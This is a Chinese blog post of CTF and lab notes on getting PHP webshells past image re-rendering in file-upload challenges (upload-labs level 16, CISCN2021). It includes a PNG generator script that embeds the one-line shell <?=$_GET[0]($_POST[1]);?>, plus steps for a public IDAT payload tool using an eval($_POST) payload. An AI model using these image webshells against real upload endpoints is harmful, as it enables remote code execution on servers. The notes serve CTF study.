图片二次渲染的绕过


二次渲染

1.二次渲染函数
labs-16_GIF二次渲染

  (1)imagecreatefromgif($filename):resource,由Gif文件或 URL 创建一个新图象。
成功则返回一图像标识符/图像资源,失败则返回false。(PHP 4, PHP 5, PHP 7, PHP 8)
  重点:该函数会对图像进行二次渲染,从而导致图片马的数据丢失,上传图片马失败。

  (2)srand(int $seed):void,播下随机数发生器种子,返回随机数。
在Upload-labs的16关里,用于给新图片指定随机文件名。

  (3)imagegif(resource $image, $filename):bool,输出图象到浏览器或文件。

  Gif二次渲染的绕过相对简单,PNG由于文件结构导致了二次渲染的绕过比较复杂。

cicsn2021-upload

  从几十行源码分析下来,会对example/x.zip文件进行解压,得到png图片后进行二次渲染,并输出到/example/

  (1)imagecreatefrompng($filename):resource

  (2)获取图像宽度函数:int imagesx(resource $image),用于获取图像的宽度,单位为像素,返回值为整型。
  imagesy() 函数用于获取图像的高度,语法及用法同 imagesx() 。
  min()函数:如果仅有一个参数且为数组,min() 返回该数组中最小的值。如果给出了两个或更多参数, min() 会返回这些值中最小的一个。

  (3) resource imagecrop ( $image, $rect ),用于将图像裁剪为给定的矩形。

参数:该函数接受上述和以下描述的两个参数:

    $image:它由图像创建功能之一(例如imagecreatetruecolor())返回。它用于创建图像的尺寸。
    $rect:裁剪矩形作为具有键x,y,宽度和高度的数组。

返回值:如果成功,此函数将返回裁剪的图像资源;如果失败,则返回False。

  (4)pathinfo():mixed,返回文件路径的信息

<?php
$path_parts = pathinfo('/www/htdocs/inc/lib.inc.php');

echo $path_parts['dirname'], "\n";
echo $path_parts['basename'], "\n";
echo $path_parts['extension'], "\n";
echo $path_parts['filename'], "\n"; // since PHP 5.2.0
?>
	
/www/htdocs/inc
lib.inc.php
php
lib.inc

  (5)imagepng(resource $image, $filename):bool,输出图象到浏览器或文件。

2.png渲染绕过

  (1)使用国外大牛写的脚本,直接拿来运行生成,上传即可。
插入代码是:<?=$_GET[0]($_POST[1]);?>,Winhex打开发现插入成功,暂未测试可用性。

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

  (2)根据wp,生成png图片马,插入代码成功,暂未测试解析可用性。

	为了绕过图片检测并实现木马的写入我们使用这个脚本。
https://github.com/huntergregal/PNG-IDAT-Payload-Generator/

	首先要修改脚本中的payload。
https://gchq.github.io/CyberChef/


	打开generate.py,修改相关代码为如下代码
text_payload = b"[<?=EVAL($_POST[1]);    ?>X"
payload = b"a39f67641d201612546f112e29152b2167226b505050506f5f5310"

	执行命令生成图片马:python3 generate.py -m php -o a.png。执行结果如下:
[+] PHP Method Selected. Using 'idontplaywithdarts' payload
AssertionError

	使用Winhex打开生成的png图片马,发现插入成功。

参考

  《upload-labs之pass 16详细分析》-先知,具有国外大牛写的生成绕过二次渲染图片马的脚本
https://xz.aliyun.com/t/2657

  《[CISCN2021 Quals]upload》,生成绕过二次渲染的png图片马。
https://blog.csdn.net/jiangdie666/article/details/116997461

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值